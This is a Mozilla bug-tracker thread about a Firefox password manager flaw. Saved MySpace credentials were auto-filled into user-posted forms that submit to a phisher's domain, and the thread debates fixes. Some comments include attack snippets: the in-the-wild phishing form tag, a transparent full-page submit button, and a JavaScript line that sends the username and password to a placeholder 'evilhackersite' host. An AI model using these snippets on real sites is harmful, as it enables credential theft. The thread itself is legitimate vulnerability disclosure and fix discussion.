Closed Bug 360493 (CVE-2006-6077) Opened 18 years ago Closed 17 years ago

Cross-Site Forms + Password Manager = Security Failure

Categories

(Toolkit :: Password Manager, defect)

defect
Not set
critical

Tracking

()

RESOLVED FIXED
mozilla1.9alpha5

People

(Reporter: shinyairplane, Assigned: mconnor)

References

(Blocks 1 open bug, )

Details

(Keywords: testcase, verified1.8.0.10, verified1.8.1.2, Whiteboard: [sg:moderate] password stealing without XSS, but with <input type="password">)

Attachments

(14 files, 11 obsolete files)

788 bytes, text/html
Details
1019 bytes, text/html
Details
43.20 KB, image/png
Details
111.97 KB, image/png
Details
35.45 KB, image/png
Details
4.75 KB, patch
Details | Diff | Splinter Review
4.12 KB, patch
Gavin
: review+
Details | Diff | Splinter Review
437 bytes, text/html
Details
1.23 KB, patch
sicking
: review+
Details | Diff | Splinter Review
5.47 KB, text/html
Details
25.51 KB, patch
dveditz
: superreview+
Details | Diff | Splinter Review
22.55 KB, patch
asaf
: review+
dveditz
: superreview+
Details | Diff | Splinter Review
23.97 KB, patch
Details | Diff | Splinter Review
97.04 KB, application/pdf
Details
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0

I was shocked today to find an in-the-wild phish that uses nothing more than cross-site forms, and also extracts information from the Password Manger!  

The underlying method was so obvious that it should have raised multiple warnings.  There were none at all.

It was in a MySpace profile that included this tag:

<form name="2" action="http://membres.lycos.fr/adel88duran/plaguedoctor.php" method="post">

What followed was a nearly perfect-looking MySpace login form that used simple HTML and absolute positioning.

Not only did FireFox fail to raise a warning, it auto-filled my www.myspace.com username and password into this form!!  I hope anyone reading this realizes it is a security failure for the browser to auto-fill the membres.lycos.fr form with credentials from another website.

I even confirmed in the password manager that I do not have any passwords saved for the membres.lycos.fr domain.

I realize there is a consideration for cross-site functionality on certain subdomains.  However, I must say I am shocked that FireFox lacks a warning for both the POST element and the Password Manager in this case.

I would have been thoroughly fooled by this page were it not for a tiny formatting error that the phisher overlooked, and could have been easily fixed.  An unsuspecting user would only have to click the Login button on this legitimate-looking page for the phish to be complete.

This appears to be a huge problem!  I look forward to your response.

Robert Chapin
Chapin Information Services, Inc.

Reproducible: Always

Steps to Reproduce:
1. Visit http://www.myspace.com/1sweetstar
2. If "Invalid friend ID" appears, reload the page.  I found that every-other time this URL is visited it will present a login form.  It may be that the MySpace servers are propagating a deletion of this phish.
3. DO NOT login.  This URL is NOT valid for MySpace logins even though it is hosted by myspace.com.
4. View the source of this page, or try filling in fake credentials.
5. The page at membres.lycos.fr will re-direct you to home.myspace.com after stealing your username and password.  The phish is completely transparent.  If you are not already logged-in to myspace.com then home.myspace.com should re-direct you to login.myspace.com.  This last re-direct is normal.

More Generally:
1. Create two login forms on domain A.  One of them has an action on domain A and the other has an action on domain B.
2. View the first form at domain A and save a username and password.
3. Both forms will now behave the same, except one form is delivering your credentials to the correct party, the other is not.
Actual Results:  
Cross-site forms behave identically to same-site forms.

Expected Results:  
1. Cross-Site Form Element Warning
2. Cross-Site Password Manager Warning
3. Cross-Site Submit Warning
4. Given all the hype about FF2 anti-phishing technology, one might also expect some sort of anti-phishing message ;)

I can add a copy of the page source, if needed.  However, I suspect this problem can be easily confirmed using any two web domains.
In a related comment, O. Atsushi pointed out FireFox would be "vulnerable" if it only checked the action field when auto-filling passwords.  This would allow passwords to be phished when they are saved, rather than when they are retrieved.

https://bugzilla.mozilla.org/show_bug.cgi?id=292713#c4

Unfortunately he didn't realize the current behavior is equally inadequate.  If the password manager only checks the page address, then FireFox is just as "vulnerable" while retrieving passwords.

FireFox should check both the page URL and the form action field.

By the way, the example website given in that comment uses cross-site forms on subdomains.  If that behavior is desirable, then the password manager could raise an appropriate warning and then proceed.  The user should be informed any time their password is being redirected.  Is some discussion needed on this point?

Robert Chapin
Chapin Information Services, Inc.
Attached file testcase
Testcase illustration using get.
Note MSIE6|7 do the same.
Status: UNCONFIRMED → NEW
Component: Security → Form Manager
Ever confirmed: true
Keywords: testcase
QA Contact: firefox → form.manager
Component: Form Manager → Security
(In reply to comment #3)
I noticed this as well, agreed.  I don't use IE though :)
(In reply to comment #3)
Also, IE behavior improves when the two forms are not on the same page.
Component: Security → Form Manager
My research suggests this new bug should be called a Reverse Cross-Site Request (RCSR) vulnerability.  This may be a new breed of phishing attack unique to websites with user-contributed HTML.  If it catches on, then giving it a name would help spread awareness of the issue.  (Microsoft's response on IE, "We are aware of the issue you reported," makes me wonder if this attack will remain viable on IE for some time, even after FireFox is fixed.)

Except for the lack of an auto-submit facility, this attack behaves identically to the XSS Password Management method described at:

http://www.infosecwriters.com/hhworld/hh8/csstut.htm

However, the RCSR method succeeds on websites that properly filter out all scripts from user-contributed HTML.  Thus, it would not be described as an XSS attack.

Cross-Site Request Forgery (CSRF) and RCSR both require the user to follow a malicious link or form button.  The difference is that the RCSR attacker's website is receiving the form data rather than sending it.  In fact, webmasters have little recourse against RCSR.  The only effective measure would be to remove all <form> elements in user-contributed HTML.

We already know the RCSR method succeeds as a phish on browsers that do not raise a cross-site warning.  If any non-MySpace proofs of concept are needed, I could study the viability of RCSR attacks on many other bulletin board and blogging systems.

My colleague, David Runion, is joining the thread to explore whether an RCSR attack could exploit the FireFox Password Manger without using visible form elements.

Robert Chapin
Chapin Information Services, Inc.
(In reply to comment #6)
> My colleague, David Runion, is joining the thread to explore whether an RCSR
> attack could exploit the FireFox Password Manger without using visible form
> elements.

FireFox's Password Manager does not check the display property for the elements before filling them in.  Therefore an otherwise-normal looking MySpace page could retrieve and populate your myspace U/P fields in hidden fields.  Additionally it would probably be possible to use something like { position: absolute; top: -20px; } on your form fields to keep them from showing.

Combining this with the simple change to the test case of having the input type="submit" changed to, for example:

<input type="image" value="fake form" src="http://runion.cc/images/onepxtrns.gif" style="width: 750px; height: 600px; border: none; position: absolute; top: 0; left: 0; display: block;"/>

And clicking anywhere on the page will submit the form.

Another idea would be overlaying the transparent link over some particularly egregious content, like a myspace video of the macarena that starts automatically.

If you have already logged into password manager, there is no notification of this whatsoever.  The only thing you would notice is a change in the cursor when you mouse over the transparent .gif.  The status bar by design does not indicate that clicking will submit the form.  It's quite an impressive hack.
After viewing the previous test case and saving a password from there, clicking on the video submits your U/P.
(In reply to comment #8)
> Clicking on the video submits your U/P.

Wow.  This makes me a very nervous FireFox user.

(In reply to comment #7)
> If you have already logged into password manager, there is no notification of
> this whatsoever.  

This is incorrect.  When submitting to an HTTP site you do get an unencrypted security warning.  I am not certain of the behavior should the form submit to an HTTPS site.

Brainstorming about more Expected Results

1. Cross-Site Password Manager Prompt

   User is prompted any time a password may be auto-filled in a form where the action field domain does not match the page domain.  User is given Yes/No before auto-filling to prevent unwanted transparent action.  An alternative option would be to silently disallow the auto-fill.

2. Cross-Site Password Field Warning

   User is notified any time an <input type="password"> element appears in a form where the action field domain does not match the page domain.  This is needed when the password manager prompt was not invoked (e.g. If a password hasn't been saved, or the field names don't match) and the user still needs to be cautioned.

3. Password Manager Prompts for Page-Specific Passwords (Optional)

   Considering websites identified by www.server.com/~username I think Internet Explorer is doing a much better job of preventing password leaks by making them page-specific.  In fact, this is the only reason IE doesn't have a cross-site warning on its password manager.  I'm sure there are many practical considerations here, but I would like FireFox to prompt me before auto-filling a password I originally entered on a different URL, regardless of which domain.

4. Cross-Site Submit Prompt (Optional)

   This would raise a lot of false-positives, and wouldn't be necessary for most users if features 1 & 2 are implemented.  As long as webmasters don't allow user-contributed HTML to contain server variables, most remaining RCSR forms should be benign.

5. Anti-Phishing Information (Optional)

   Sooner or later, someone will want to look at the action field of a suspicious form.  How can this be done in an informative, user-friendly way?  Could we get the status bar to update on button hovers, like anchor hovers?


(In reply to comment #10)
> When submitting to an HTTP site you do get an unencrypted security warning.

The testcase is encrypted.  There is no warning if the action is also encrypted, or if the testcase is unencrypted.
Update on Steps To Reproduce

The back-end script at membres.lycos.fr has been taken down.  At this time, the front-end form is still available, but the submit action should result in an error and forward to www.multimania.lycos.fr instead of home.myspace.com.
We want to CC che@secunia.com
Any comments before I add him?
I'm working on an article about the password manager flaw described above.  I have been encouraged to leave another reply here first.  Also, I am confused why the "Security-Sensitive Bug" option mentioned in the security guidelines remains grayed out.

If anyone else is reading this, we would appreciate a reply soon.
Changing the behavior of the password manager will require input from the UI team, especially since competing products do the same -- users expect this :-(

I doubt trying to figure out if the password field is not being displayed is very productive. There's simple things that could be checked like display:none, but lots of other ways to hide things

About the only reliable solution might be to make the password behave like the multi-password case even when there's only one: require the user to start typing in the form before filling it in or bringing up a drop-down to choose from. And only accept authentic events, of course, not script-generated key events.

Clearing the security flag as it appears the reporter wishes. Sorry the field was greyed out, the generic bugzilla implementation of "private groups" doesn't match the policy for security bugs, which is just one such group. We have to do it manually on request.

Since this bug is an in-the-wild attack we're not protecting anyone by hiding the details anyway.

Up to now browser makes have focused on user convenience and assumed sites with valuable passwords would be well-written. But they have bugs just like we have bugs so we might have to be more defensive.
Group: security
Flags: wanted1.8.1.x+
Keywords: uiwanted
Whiteboard: [sg:moderate]
I doubt we can get this kind of UI change in for the upcoming release, but I'll ask anyway.
Flags: blocking1.8.1.1?
I'm setting this to blocking, as this seems like a very bad thing given myspace's reach.  I agree with dveditz that a UI change is very unlikely to get approved for 1.8.1.1 (2.0.0.1), but let's try to find a smart way to protect users.  If we can get a fix in time, I would like to take it.

If we don't get a fix soon, I think we should do the right thing (whatever that turns out to be) for 1.8.1.2 (2.0.0.2).
Flags: blocking1.8.1.1? → blocking1.8.1.1+
Assigning to Gavin based on quick look at password manager code in LXR.  Please reassign if someone else can work on this.
Assignee: nobody → gavin.sharp
I don't think always using the multiple-user UI is the right solution.  It would hurt usability quite a bit on all sites, and it wouldn't really solve this security problem for myspace.  It would just require the exploits to be a little more clever.

* New exploit 1: A whack-a-mole game implemented in CSS that gets you to click the username field and then click the spot where the dropdown will appear.  (This attack would take advantage of the fact that humans can queue actions closer together than their reaction time, like in bug 162020.)

* New exploit 2: Make it look like an actual myspace login form.  Users are probably not as careful with activating password manager as they are with actually entering passwords, and the URL bar would start with http://www.myspace.com/.

IMO, the right solution is to tell myspace and similar sites to disallow input type="password" in user-generated content the same way they disallow XSS hazards like inline scripts, onclick, -moz-binding, etc.

We encourage them to filter by parsing and using whitelists, rather than using regexp blacklists, for a reason: it's easier to get right and new ways of attacking some or all browsers come up pretty often.
Flags: blocking1.8.1.1+ → blocking1.8.1.1?
Oops, I didn't mean to clobber the blocking flag.  I hate that mid-air UI.
One solution that I thought about is to key the pwd+username on not just the url  of the page the form is on, but also on the action-url of the form.

The main problem with this is what to do with all the currently stored passwords since we only have page-url for them, not the action-url.

One solution would be to fill out the action-url the first time we hit a form with a stored page-url but lacking action-url. (note that lacking is not the same as empty-string)
(In reply to comment #21)
> One solution that I thought about is to key the pwd+username on not just the
> url  of the page the form is on, but also on the action-url of the form.

But the action URL can be changed after the page has loaded, right? What do we do then, remove the password from the field?
That would require the evil user being able to inject script, at which point the script could just grab the username/pwd and send it to evil.com using AJAX.
> About the only reliable solution might be to make the password behave like the
> multi-password case even when there's only one: require the user to start
> typing in the form before filling it in or bringing up a drop-down to choose
> from. And only accept authentic events, of course, not script-generated key
> events.

Thanks for getting this going, and for the replies, everyone.  I encourage thinking about the proactive, anti-phising possibilities here.  Addressing the auto-fill is a good start, of course.
I could see the "remember the action URL" strategy working.  You'd probably want to remember just the hostname rather than the entire URL, so complex web apps like Bugzilla (where some login forms submit to process_bug.cgi, etc) can continue working.  Storing just the hostname will be better for privacy, too, I think.

Do we know exactly what IE does differently that causes the myspace attack to fail in IE?
Flags: blocking1.8.1.1? → blocking1.8.1.1+
(In reply to comment #25)
> Do we know exactly what IE does differently that causes the myspace attack to
> fail in IE?

IE appears to associate the password with each page URL, so I have to be re-save on each login page, even in the same site.  Still, IE shows no warnings.  The MySpace phish is successful if the user is willing to type in their password.
As far as I can tell, matching the action url too is probably the best solution, but:

1. The parser and format used for saving/loading passwords is pretty lame (in terms of extensibility). It's probably a bit tough to add action urls cleanly while maintaining backwards compatibility. A temporary solution may be to store that data in a separate file.

2. Some sites set the action url on submit, probably after validating the form data. These sites will still be a problem unless we decide not to autofill passwords on forms which don't have an action url.
1.
Shouldn't we be converting this stuff to use sqlite anyway? Of course, that won't fly for 1.5 and possibly not for 2.0 :(

Maybe we can use the separate file thing there.

2.
It doesn't matter when the site sets the correct action-url. It only matters that the action-url is different from evil.com. The attacker is forced to set the action-url to his own site and so as long as that is different from what the page normally uses we won't prefill a password
(In reply to comment #27)
> unless we decide not to autofill
> passwords on forms which don't have an action url.
> 

Well, the phisher can then set a perfectly good and valid action URL and then change it upon submission, after the autofill has taken place.  Checking against the action URL thus won't work unless the ability to set the action URL in DOM is disabled.
As sicking pointed out in comment 23, we don't have to worry about malicious scripts changing the action at the last minute.  Sites like myspace have to disable possibly-malicious scripts from users anyway.

Btw, hi Kai :)
(In reply to comment #23)
> That would require the evil user being able to inject script, at which point
> the script could just grab the username/pwd and send it to evil.com using AJAX.

On the other hand, that's obviously not ideal either. If a site that has a section requiring login and also has fully user-controllable sections on the same host (e.g., universities with things like foo.edu/~username), there's still an exploit there, it's just narrower.

One possibility (which I've been considering for addressing this in Camino) could be to remember passwords for a domain, but also remember white-/black-lists of URLs for each one, and prompt the user for any new URL. E.g., if a user logs in to foo.com/login.html and stores the password, the password would auto-fill on foo.com/login.html. If the user goes to foo.com/login-try-again.html, they would get an alert, and choose whether or not they want to fill there (with an option to remember).

The warning is a weak point since it involves a user decision about security, but it could at least be made very understandable (and with a "no" default); something to the effect of:

-------------
This page has a log-in form. If you are trying to log in to foo.com, you can fill it with your saved account information for this site. If you are not trying to log to foo.com, this may be an attempt to steal your password.

[Fill Form] [Don't Fill Form]
| | remember this decision
-------------
We can't leave this decision up to the user, that's a non-starter. A better solution would then be to use more of the uri as key to the login.
(In reply to comment #32)
> We can't leave this decision up to the user, that's a non-starter.

Why? I understand the issues with things like "Here's a certificate and a bunch of terms you don't understand: Yes or No?", but "Are you trying to log in to this site or not?" is a fairly simple, user-approachable concept.
Such a question is going to be a pain in the butt for everyone. And if we put a "don't ask me this again" checkbox in there everyone will check it and we're back to square one.

Also I'm not sure what it wins us compared to keying off of more of the page-url and the action-url
> "Are you trying to log in to
> this site or not?" is a fairly simple, user-approachable concept.
> 

Don't underestimate the extraordinary ability of average users to auto-ignore even the most simple and common sense dialogs, especially if they are people who frequent places like Myspace.  :)

> Also I'm not sure what it wins us compared to keying off of more of the
> page-url and the action-url
>

Well, in defense of using a dialog, if this attack was to take place at a site other than MySpace (and there are lots of smaller, more obscure sites that could fall prey to such attacks), then we can't reliably rely on the action-url not changing, and keying more parts of the login-url would make the autofill less versatile, in which case, a warning dialog to interdict at the time of submission could be a solution.
requiring you to confirm each time you want to log in on a different page won't work, imo. consider that every time you use a Microsoft Live ID, the URL will probably be different since the post-login URL will probably be different. having to "OK" each of those fill-ins will really be a pain. and i don't really see how that solves the issue.
btw, an easy way to solve this for Myspace only: remove all passwords stored for *.myspace.com and keep only the password(s) associated with login.myspace.com. Since there are no profiles stored on that subdomain, there's no chance of "user submissions" providing you with fake forms. (the reason there would be passwords for other subdomains in the first place is because Myspace switched to using the ONLY login. subdomain for all login operations only a few months back, in part due to increasing phishing problems, and before would allow you to log in from any of its subdomains.)
(In reply to comment #34)
> And if we put a "don't ask me this again" checkbox in there everyone will
> check it and we're back to square one.

I wasn't very clear; I was envisioning that being per URL. Presumably once you've accepted once you are already hosed on that particular page (the only reason to have it as opposed to always remembering would be to make just hitting no accidently or without thinking not be very difficult to recover from).

> Also I'm not sure what it wins us compared to keying off of more of the
> page-url and the action-url

I'm not seeing how that protects in the more general case (specifically those like I describe where JS is in fact in the game). How does that determine that foo.com/login.html is good, foo.com/another/valid/loginpage.html is good, but foo.com/~eve/passwordstealer.html is bad?  Keeping in mind that in my example they could all submit to exactly the same URL, since Eve can, as was mentioned earlier, use AJAX to steal my password essentially on pageload.

Keying off the whole URL is certainly possible, which is sort of an alternate UI of the same concept--all pages are blacklist by default, manually filling in and submitting the form whitelists that page. It's tradeoff of being more annoying for the user in the legit cases, but potentially more secure in the attack case.


I was looking for a way to fix the larger class of related attacks if possible, rather than something that fixes this one but leaves the user totally vulnerable in another narrower--but not inconceivable--case. Essentially what I'm proposing is asking the user "Would you trust this page enough to type your password into it?"; if the answer to that question is yes, than my thought is that it's already too late, because they would do it whether their password is already remembered or not, so detecting and warning/protecting the user about/from suspicious forms when possible needs to happen before this even gets to the password manager.

(In reply to comment #35)
> Don't underestimate the extraordinary ability of average users to auto-ignore
> even the most simple and common sense dialogs

Like I said, I do understand that issue.  But if the default is the secure one, and there's no downside to choosing it (unlike the certificate case, where Reject means you don't get to go to the site so users learn to press Accept), then the auto-ignore should work out fine.
Please stop trying to find a password manager heuristic that will also protect against XSS attacks.  You won't succeed, for the simple reason that an XSS attacker can open the real login page in a frame/tab/window and read the password from it.  If you want to discuss XSS, go to bug 359675 or one of the other dependencies of bug 301375.

This bug is specifically about sites that allow user-generated content to include <input type="password"> but not arbitrary scripts.
Component: Form Manager → Password Manager
OS: Windows XP → All
QA Contact: form.manager → password.manager
Hardware: PC → All
Whiteboard: [sg:moderate] → [sg:moderate] password stealing without XSS, but with <input type="password">
Is there a reason it can't be done the way Opera does it? The magic wand there works ok, I think. It activates when it thinks it can fill in the credentials, and you when you click it, it fills them in and submits the form so you're logged in.

So instead of having to click the "login" button on the webpage, you press the "login" button in the toolbar.

Remco
re comment #31.

Please consider storing not exact URL for which to save password, but only part of it up to last / . I think, there are extremely rare cases where person, who has access on server to example.com/some-path/login.cgi does not have access to example.com/some-path/chpass.cgi, or similar.

And for absolutely paranoid you may add about:config setting to match complete url.
Just checking the action url on the form won't work. As an example, you can use the onSubmit javascript action to redirect the login. Also you can of course just use ajax like in https://bugzilla.mozilla.org/show_bug.cgi?id=359675
Increasing security will always mean being less user-friendly. Would it be an idea to only fill in the password when the user has filled in the username, and do this only at the UI level?
(In reply to comment #41)
> Just checking the action url on the form won't work. As an example, you can use
> the onSubmit javascript action to redirect the login.

So FF should should check url, REAL form action (whether it's a form action or onsubmit JS handling; that doesn't matter) and throw a warning / error when URL and REAL form action isn't the same.

It doesn't matter how the form is posted (people use evil AJAX as an example), since FF should only check where the form is posted
> So FF should should check url, REAL form action (whether it's a form action or
> onsubmit JS handling; that doesn't matter) and throw a warning / error when URL
> and REAL form action isn't the same.
> 
> It doesn't matter how the form is posted (people use evil AJAX as an example),
> since FF should only check where the form is posted

Unfortunately it isn't that easy. An evil hacker will:
- Create a form that is displayed on the page with the correct action
- Add an onChange javascript event for the password or username form field
- Use document.write('<img height=0 width=0 src="http://evilhackersite/storeit?username=' + document.forms[0].username + '&password=' document.forms[0].password = '">');
He is adding an image to the page. This image is not shown and it's only purpose is to do a HTTP GET on an evil server with the form fields.


(In reply to comment #3)
> Note MSIE6|7 do the same.

NO, IE7 is not vulnerable.
(In reply to comment #44)
> Unfortunately it isn't that easy. An evil hacker will:
...
> - Add an onChange javascript event for the password or username form field
> - Use document.write('<img height=0 width=0
...

As I was told in comment 23, and as Jesse reiterated in comment 30 and comment 38, this bug has nothing to do with traditional XSS attacks (there is no scripting involved here, MySpace filters that effectively).
(In reply to comment #42)
> Increasing security will always mean being less user-friendly. Would it be an
> idea to only fill in the password when the user has filled in the username, and
> do this only at the UI level?

I believe the behaviour you describe is already in place when there are multiple logins stored for the same form. (ie. Gmail)  Just tried this in the testcase attachment #1 [details] [diff] [review] and confirmed that no fields populate, upon closing the page and reloading. (FF1.5.0.4 & 2.0)  Switching users via the autofill changes the password appropriately but still does not populate the fake fields.

And in my experience the autofill even for single users is not triggered if the URI changes even a little. (eg. ://www.here.com versus ://here.com)
Cheers,
> NO, IE7 is not vulnerable.

ie7 associates the username/password with the action url.

for the testcase, the username/password is saved with "https://bugzilla.mozilla.org/attachment.cgi" as the entry name.
IS THERE A FIX/PATCH/SETTING YET ?

The average user needs to know , the average user 
does not read slashdot, subscribe to "geek news/email".

I see the number ONE thing to do is NOTIFY as many people as 
possible about the issue.

Tell them to clear there passwd and turn off passwortd maneger.
WHATEVER it takes for a quick fix.

Either I am blind or tduring this entire discussion
(while many "average users may be gettting caught up in it right away
, as in , right now).

ALERT THE PUBLIC  ASAP and give them at LEAST a way to fix this
or a quick patch they execute.

it should be ON THE FRONT PAGE at the mozilla.org
in BOLD to whatever you guys have decided to do in the case of
"HOW DO WE ALERT THE GENERAL PUBLIC/FIREFOX USERS ASAP 
WITH AT LEAST THE EXPLANATION~!!! THE FIX , THE QUICK CURE
THIS IS INSANE THAT THE 2.0 SITS THERE FOR DOWNLOAD
FOR ANYBODY TO DOWNLOAD WHILE THIS BUG IS BITING.

SIGNED

THE MASSES THAT HAVE NO IDEA OF GEEEKY NEWS AND CHECKING FOR
EXPLOITS AND DEPEND ON YOU FOR LETTING THEM KNOW
WHEN YOU KNOW THERE IS A SERIOUS SITUATION.

WHEN YOU MAKE THE FINAL PATCH OF COURSE YOU KNOW WHAT TO DO!

THIS IS REALLY SAD THAT YOU DO NOT MAKE THE EFFORT TO
ALERT THE GENERAL PUBLIC , GIVE THEM THIS INFO
AND IF YOU HAVE NO EASY FIX
(i ASSUME THAT CLEARING MY PRIVATE DATA(ESPECIALLY PASSWORDS)
AND TURNING THAT FEATURE OFF IS A 
QUICK SOLUTION WHICH I HAVE DONE,
THE QUESTION IS WHAT ABOUT EVERYONE ELSE !!!!!!!!!!!!

GET WITH IT... 
PRIORITY ONE IS TO NOT APPEAR TO BE 
HIDING INFORMATION YOUR USERS ON YOUR
MAIN SITES. 
I SAID "APPEAR".
I KNOW YOU ARE NOT PURPOSELY HIDING THIS INFORMATION.

YOUR PRIORITIES SHOULD BE: 

1. SHORTTERM:
   READ THIS POST =0 - INFORM USERS QUICKLY
2. LONGTERM:
   YOU KNOW THAT A PERMANENT FIX/PATCH , THAT IS YOUR JOB.

PUT IT ALL THE MOZILLA SITES THAT GET THE MOST HITS.

MAN..............
(In reply to comment #48)
> > NO, IE7 is not vulnerable.
> 
> ie7 associates the username/password with the action url.

IE7 also doesn't autofill the username/password until the user selects the username from a drop-down list.
(In reply to comment #39)
> Is there a reason it can't be done the way Opera does it?

I like it the way Opera does it.
Not only because it fills password in after you click on the wand icon but also because it gives you the choice if you want to associate user/pass with only the hostname or the full url (which is everything before the first "?").
As a concerned user I'd like to see both with the default being full url.

Tests for different page host and action host a.s.o. should additionally taken into consideration.
Wouldn't it be better to store the host name in the action field (or the current host name if none is supplied) along with the password?  i.e. on the same page:

On the URL http://host0/:
<form action="/blah">

and

<form action="http://host1/blah">

and

<form action="http://host2/blah2">

would be 3 separate entries in the password manager:

host0:user0:password0
host1:user1:password1
host2:user2:password2

(In reply to comment #11)
> Brainstorming about more Expected Results
> 
> 1. Cross-Site Password Manager Prompt
> 
>    User is prompted any time a password may be auto-filled in a form where the
> action field domain does not match the page domain.  User is given Yes/No
> before auto-filling to prevent unwanted transparent action.  An alternative
> option would be to silently disallow the auto-fill.
> 
> 2. Cross-Site Password Field Warning
> 
>    User is notified any time an <input type="password"> element appears in a
> form where the action field domain does not match the page domain.  This is
> needed when the password manager prompt was not invoked (e.g. If a password
> hasn't been saved, or the field names don't match) and the user still needs to
> be cautioned.
> 
> 3. Password Manager Prompts for Page-Specific Passwords (Optional)
> 
>    Considering websites identified by www.server.com/~username I think Internet
> Explorer is doing a much better job of preventing password leaks by making them
> page-specific.  In fact, this is the only reason IE doesn't have a cross-site
> warning on its password manager.  I'm sure there are many practical
> considerations here, but I would like FireFox to prompt me before auto-filling
> a password I originally entered on a different URL, regardless of which domain.
> 
> 4. Cross-Site Submit Prompt (Optional)
> 
>    This would raise a lot of false-positives, and wouldn't be necessary for
> most users if features 1 & 2 are implemented.  As long as webmasters don't
> allow user-contributed HTML to contain server variables, most remaining RCSR
> forms should be benign.
> 
> 5. Anti-Phishing Information (Optional)
> 
>    Sooner or later, someone will want to look at the action field of a
> suspicious form.  How can this be done in an informative, user-friendly way? 
> Could we get the status bar to update on button hovers, like anchor hovers?
> 
> 
> (In reply to comment #10)
> > When submitting to an HTTP site you do get an unencrypted security warning.
> 
> The testcase is encrypted.  There is no warning if the action is also
> encrypted, or if the testcase is unencrypted.
> 

As I see it, the only way to fix the problem with the password manager is to either limit the password manager to the exact URL previously used or to explicitly require user action.

Allowing the password to be auto-filled on any not exact matching page is going to be flawed.

Consider this:
The attacker gets a web page at the host he is trying to exploit. This host is similar to myspace, but also allows receiving form data. This makes sense, because allowing users to place forms usually requires some kind of form processing.
Now the form can be made completely legitimate: Both the page domain and the action domain match, so no warning is thrown at all. The password manager is satisfied by the domain name(s) matching and does its job by entering the password.

As for partial URL matching, this will not work. Especially websites using techniques like Apache's multiviews (where parameters seem to be subdirectories) make it impossible to correctly identify which part of the URL to match to.
(In reply to comment #52)
> Wouldn't it be better to store the host name in the action field (or the
> current host name if none is supplied) along with the password?

See Comment #1 above.
Having read all of the above, the best thing, in my opinion, would be to change the behavior of the password manager. Either make it work Opera-like, info-bar at the top saying "Firefox has remembered username and password for the login-form, click "Log me in" to log in. And either remember the old action (i.e. just note the form is there do nothing with it, use what we stored when the user logged in first). Or do it IE-like, and when the input-field is selected, display a dropdown for autofilling... To be honest, I like the first one better.
(In reply to comment #48)
> ie7 associates the username/password with the action url.
> for the testcase, the username/password is saved with
> "https://bugzilla.mozilla.org/attachment.cgi" as the entry name.

I was unable to confirm this message.  The testcase behaves the same in IE6 and IE7 on my computer.  It caughs up passwords into cross-site forms, but does not auto-fill as FF.
The fact of filling in forms with no user interaction already drived me crazy on projects where partially auto filling is contraproductive and partially usefull, but switchable only completely and globally. The solution with a simple authentic interaction like a click on a menu or button would be the best not only for this css-bug but also for those projects.
(In reply to comment #44)
> > So FF should should check url, REAL form action (whether it's a form action or
> > onsubmit JS handling; that doesn't matter) and throw a warning / error when URL
> > and REAL form action isn't the same.
> > 
> > It doesn't matter how the form is posted (people use evil AJAX as an example),
> > since FF should only check where the form is posted
> 
> Unfortunately it isn't that easy. 

Correct, checking _only_ the target domain is wrong. However, the solution imho is simply checking _both_ target domain and current domain (page origin). 

Contrary to the some claims in this bug, IMHO, the problem here is really a variant of XSS. Truely, the page does not necessarily have to contain a mal-script, the attack abuses a <form> directive, but it is still abuse of metadata sent from the site. Such abuse would be blocked by the anti-XSS defenses of many sites, blocking users from inserting <form> or most/all HTML tags, rather than trying to identify and block only scripts. As Jesse said in response 38, defenses against XSS are discussed elsewhere and do not belong to this bug. 

That said, I agree that this bug is valid and should be fixed. FF could and should do a better job against this threat, and provide what defense it can for sites that do permit user-provided <form> elements (and try to carefully filter the scripts). But for that, checking target URL, in addition of course to checking current domain as done now, would be enough, I think. 

I am definitely against adding any UI/dialogs as part of the solution, i.e. asking the user whether he is willing to login from this page, etc.. For example, consider launching this attack from a page that also contains a valid login form (e.g. in a separate frame)! Asking users to make such choice is a no-go, imho. 



> An evil hacker will:
> - Create a form that is displayed on the page with the correct action
> - Add an onChange javascript event for the password or username form field
> - Use document.write('<img height=0 width=0
> src="http://evilhackersite/storeit?username=' + document.forms[0].username +
> '&password=' document.forms[0].password = '">');
> He is adding an image to the page. This image is not shown and it's only
> purpose is to do a HTTP GET on an evil server with the form fields.
> 
(In reply to comment #46)
> As I was told in comment 23, and as Jesse reiterated in comment 30 and comment
> 38, this bug has nothing to do with traditional XSS attacks (there is no
> scripting involved here, MySpace filters that effectively).

I have to disagree. Myspace does not filter that efficiently. Why are you even allowed to create a logon form on Myspace? There should be absolutely no need to allow users to do that. 

Forgot to mention: PW manager should notice if pw entry was on protected (https, i.e. SSL/TLS) page or not, and should NOT autofill a PW from protected (https) page, into a form in a non-protected (non-HTTPS) page. Otherwise, a MITM attacker can send a malicious form to retrieve the pw from the PW manager. 
So if I got everything right

- The autofill mechanism only checks the page url before filling in, not checking the form action url.

- We can check the form action url before fill in, but javascript can change the action url later on, after fill in.


It would seem to me that:


- Username/password fill in must be linked to the action url

> The action url might contain changing data, e.g. "http://site.com/signin.cgi?usersessionid=xxxxx". So I suggest checking the site of the action url "site.com" should be enough (including http or https status). If the phisher has the access to put a cgi on "site.com" itself then there are other more pressing troubles.

- Javascript changing the action url, can be useful and should not be disabled

> It follows that something must be checked and blocked if it does not match on the moment the form is submitted. This is the only moment you can be sure of what the action url is. Do we pop up a window to the user or just erase the password again?

- Users have 'confirm window' blindness.

> If we just erase the password at submit, who says it has not been copied to another variable just before then? Can a password field be accessed/copied in javascript? If so, then the entire POST operation should be blocked with a popup to the user, although how to convey this foolproof to a user has me stumped as well. If the password field is protected from access in javascript, then just leaving it empty when submitting the form should be enough protection.
List of 3068 MySpace logins and passwords leaked.
Is this related to the phishing attack described?
If yes, then it turns to be quite serious...
*** Using the first testcase on seamonkey 1.05, the test passes.  (i.e. indicates that seamonkey is NOT vulnerable.)
The passwords were saved by the password manager on the first try, and submitted by the password manager on subsequent tries.  It was tested 3 times with identical results.
Since seamonkey is so similar to firefox (especially 1.5), it should help solving the problem -- assuming that the first testcase accurately indicates vulnerability.
(In reply to comment #62)
> List of 3068 MySpace logins and passwords leaked.
> Is this related to the phishing attack described?
> If yes, then it turns to be quite serious...

Yes, those have been phished using this leak. Although I wouldn't classify the defacement of myspace pages as 'serious' but more as 'widespread' :)

The leak only works on those pages where malicious users can inject html code into the page themselves. And then, they can only get the username/password for that particular site. It leaves the rest of your saved passwords safe.
I DO show SeaMonkey to be vulnerable.
This is using the test case as shown in #2, above.

Assuming I'm performing the test case correctly.


Enter real name/pw, & click real form
... accept, remember this logon
